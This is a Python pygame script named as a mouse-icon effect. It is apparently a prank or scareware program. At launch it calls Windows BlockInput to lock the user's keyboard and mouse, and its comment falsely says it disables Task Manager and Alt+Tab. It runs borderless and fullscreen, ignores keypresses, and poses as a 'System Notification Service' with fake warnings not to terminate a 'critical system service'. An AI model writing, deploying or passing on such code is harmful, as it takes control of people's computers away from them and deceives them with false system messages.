mouse_icons.py
import pygame
import random
import sys
import os
import time
import ctypes
import math
from pygame import gfxdraw
# 禁用任务管理器和Alt+Tab
try:
ctypes.windll.user32.BlockInput(True)
ctypes.windll.kernel32.SetConsoleTitleW("System Notification Service")
except:
pass
# 初始化pygame
pygame.init()
# 设置屏幕尺寸
info = pygame.display.Info()
screen_width, screen_height = info.current_w, info.current_h
screen = pygame.display.set_mode((screen_width, screen_height), pygame.FULLSCREEN | pygame.NOFRAME)
pygame.display.set_caption("System Notifications")
# 隐藏系统鼠标
pygame.mouse.set_visible(False)
# 颜色定义
RED = (255, 50, 50)
YELLOW = (255, 255, 50)
BLUE = (50, 150, 255)
GREEN = (50, 255, 100)
PURPLE = (180, 70, 255)
BACKGROUND = (15, 15, 25)
# 图标类型
WARNING = 0
ERROR = 1
INFO = 2
SUCCESS = 3
QUESTION = 4
# 图标类
class NotificationIcon:
def __init__(self, x, y, icon_type):
self.x = x
self.y = y
self.type = icon_type
self.size = random.randint(40, 70)
self.created_time = time.time()
self.lifetime = random.uniform(5.0, 10.0) # 图标显示时间
self.alpha = 255
self.angle = 0
self.spin_speed = random.uniform(-1.5, 1.5)
self.float_speed = random.uniform(0.2, 0.8)
# 根据类型设置颜色
if icon_type == WARNING:
self.color = YELLOW
self.text = random.choice(["Warning: Low Memory", "Security Alert", "Permission Required",
"Unverified Source", "High CPU Usage"])
elif icon_type == ERROR:
self.color = RED
self.text = random.choice(["Error: File Not Found", "Access Denied", "System Failure",
"Critical Error", "Operation Failed"])
elif icon_type == INFO:
self.color = BLUE
self.text = random.choice(["Information: Update Available", "New Message", "System Notice",
"Process Complete", "Status: Online"])
elif icon_type == SUCCESS:
self.color = GREEN
self.text = random.choice(["Success: Operation Complete", "Verified", "Task Finished",
"All Systems OK", "Connection Established"])
else: # QUESTION
self.color = PURPLE
self.text = random.choice(["Question: Proceed?", "Confirm Action", "Unknown File Type",
"Requires Attention", "Review Settings?"])
def update(self):
# 更新透明度和位置
elapsed = time.time() - self.created_time
self.alpha = max(0, int(255 * (1 - elapsed/self.lifetime)))
# 旋转和浮动效果
self.angle += self.spin_speed
self.y -= self.float_speed
# 如果图标消失,返回True表示需要移除
return elapsed > self.lifetime
def draw(self, surface):
# 创建临时表面绘制图标
icon_surface = pygame.Surface((self.size * 2, self.size * 2), pygame.SRCALPHA)
# 绘制图标背景
pygame.draw.circle(icon_surface, (*self.color, self.alpha),
(self.size, self.size), self.size)
pygame.draw.circle(icon_surface, (255, 255, 255, self.alpha),
(self.size, self.size), self.size, 3)
# 根据图标类型绘制符号
if self.type == WARNING:
# 感叹号
pygame.draw.rect(icon_surface, (0, 0, 0, self.alpha),
(self.size - 4, self.size - 20, 8, 20))
pygame.draw.circle(icon_surface, (0, 0, 0, self.alpha),
(self.size, self.size + 10), 4)
elif self.type == ERROR:
# X符号
pygame.draw.line(icon_surface, (0, 0, 0, self.alpha),
(self.size - 12, self.size - 12),
(self.size + 12, self.size + 12), 4)
pygame.draw.line(icon_surface, (0, 0, 0, self.alpha),
(self.size + 12, self.size - 12),
(self.size - 12, self.size + 12), 4)
elif self.type == INFO:
# i符号
pygame.draw.circle(icon_surface, (0, 0, 0, self.alpha),
(self.size, self.size - 8), 5)
pygame.draw.rect(icon_surface, (0, 0, 0, self.alpha),
(self.size - 3, self.size + 5, 6, 15))
elif self.type == SUCCESS:
# 勾号
points = [
(self.size - 15, self.size),
(self.size - 5, self.size + 15),
(self.size + 15, self.size - 10)
]
pygame.draw.lines(icon_surface, (0, 0, 0, self.alpha), False, points, 5)
else: # QUESTION
# 问号
pygame.draw.circle(icon_surface, (0, 0, 0, self.alpha),
(self.size, self.size - 8), 5)
pygame.draw.arc(icon_surface, (0, 0, 0, self.alpha),
(self.size - 15, self.size - 5, 30, 25), 0.2, 3.0, 4)
pygame.draw.circle(icon_surface, (0, 0, 0, self.alpha),
(self.size, self.size + 15), 3)
# 旋转图标
rotated_icon = pygame.transform.rotate(icon_surface, self.angle)
rot_rect = rotated_icon.get_rect(center=(self.x, self.y))
# 绘制图标
surface.blit(rotated_icon, rot_rect)
# 绘制文本
if self.alpha > 100: # 只在图标较明显时显示文本
font = pygame.font.SysFont('Arial', 16)
text_surface = font.render(self.text, True, (200, 200, 200, self.alpha))
text_rect = text_surface.get_rect(center=(self.x, self.y + self.size + 25))
# 文本背景
text_bg = pygame.Surface((text_rect.width + 20, text_rect.height + 10), pygame.SRCALPHA)
text_bg.fill((0, 0, 0, min(180, self.alpha)))
surface.blit(text_bg, (text_rect.x - 10, text_rect.y - 5))
# 绘制文本
surface.blit(text_surface, text_rect)
# 创建自定义鼠标
class CustomMouse:
def __init__(self):
self.x = screen_width // 2
self.y = screen_height // 2
self.size = 15
self.color = (200, 200, 255)
self.trail = []
self.max_trail = 20
self.trail_colors = [
(200, 200, 255, 200),
(180, 180, 255, 180),
(160, 160, 255, 160),
(140, 140, 255, 140),
(120, 120, 255, 120)
]
def update(self, pos):
# 更新位置
self.x, self.y = pos
# 更新轨迹
self.trail.append((self.x, self.y))
if len(self.trail) > self.max_trail:
self.trail.pop(0)
def draw(self, surface):
# 绘制轨迹
for i, (tx, ty) in enumerate(self.trail):
if i > 0:
prev_x, prev_y = self.trail[i-1]
alpha = int(255 * (i / len(self.trail)))
color = (150, 150, 255, alpha)
pygame.draw.line(surface, color, (prev_x, prev_y), (tx, ty), 3)
# 绘制鼠标
pygame.draw.circle(surface, self.color, (self.x, self.y), self.size)
pygame.draw.circle(surface, (255, 255, 255), (self.x, self.y), self.size, 2)
# 绘制鼠标中心
pygame.draw.circle(surface, (100, 100, 255), (self.x, self.y), 5)
# 绘制鼠标指针
points = [
(self.x + self.size, self.y),
(self.x + self.size + 20, self.y - 10),
(self.x + self.size + 25, self.y),
(self.x + self.size + 20, self.y + 10)
]
pygame.draw.polygon(surface, self.color, points)
pygame.draw.polygon(surface, (255, 255, 255), points, 2)
# 创建初始对象
icons = []
custom_mouse = CustomMouse()
last_icon_time = 0
icon_delay = 0.1 # 图标生成间隔(秒)
# 创建文本表面
title_font = pygame.font.SysFont('Arial', 36, bold=True)
info_font = pygame.font.SysFont('Arial', 24)
warning_font = pygame.font.SysFont('Arial', 28, bold=True)
# 主循环
clock = pygame.time.Clock()
start_time = time.time()
running = True
# 创建背景网格
grid_size = 40
grid_points = []
for x in range(0, screen_width, grid_size):
for y in range(0, screen_height, grid_size):
grid_points.append((x, y))
while running:
current_time = time.time()
# 处理事件
for event in pygame.event.get():
if event.type == pygame.QUIT:
running = False
elif event.type == pygame.KEYDOWN:
# 忽略所有按键
pass
# 更新鼠标位置
mouse_pos = pygame.mouse.get_pos()
custom_mouse.update(mouse_pos)
# 在鼠标位置生成新图标
if current_time - last_icon_time > icon_delay:
icon_type = random.choice([WARNING, ERROR, INFO, SUCCESS, QUESTION])
icons.append(NotificationIcon(mouse_pos[0], mouse_pos[1], icon_type))
last_icon_time = current_time
# 填充背景
screen.fill(BACKGROUND)
# 绘制背景网格
for point in grid_points:
pygame.draw.circle(screen, (30, 30, 40), point, 1)
# 更新并绘制所有图标
for icon in icons[:]:
if icon.update():
icons.remove(icon)
else:
icon.draw(screen)
# 绘制自定义鼠标
custom_mouse.draw(screen)
# 绘制标题
title = title_font.render("System Notification Service", True, (200, 200, 255))
screen.blit(title, (screen_width // 2 - title.get_width() // 2, 20))
# 绘制状态信息
status_text = info_font.render(f"Active Notifications: {len(icons)}", True, (180, 180, 200))
screen.blit(status_text, (screen_width // 2 - status_text.get_width() // 2, 70))
# 绘制警告信息
warning = warning_font.render("WARNING: Do not close this window - System service in progress", True, YELLOW)
screen.blit(warning, (screen_width // 2 - warning.get_width() // 2, screen_height - 100))
# 绘制退出提示
exit_info = info_font.render("This is a critical system service. Do not attempt to terminate.", True, (150, 150, 180))
screen.blit(exit_info, (screen_width // 2 - exit_info.get_width() // 2, screen_height - 60))
# 添加一些浮动粒子增强效果
for _ in range(5):
x = random.randint(0, screen_width)
y = random.randint(0, screen_height)
size = random.randint(1, 3)
color = random.choice([(100, 100, 200), (150, 150, 255), (200, 200, 255)])
pygame.draw.circle(screen, color, (x, y), size)
pygame.display.flip()
clock.tick(60)
# 程序理论上永远不会执行到这里
try:
ctypes.windll.user32.BlockInput(False)
except:
pass
pygame.quit()
sys.exit()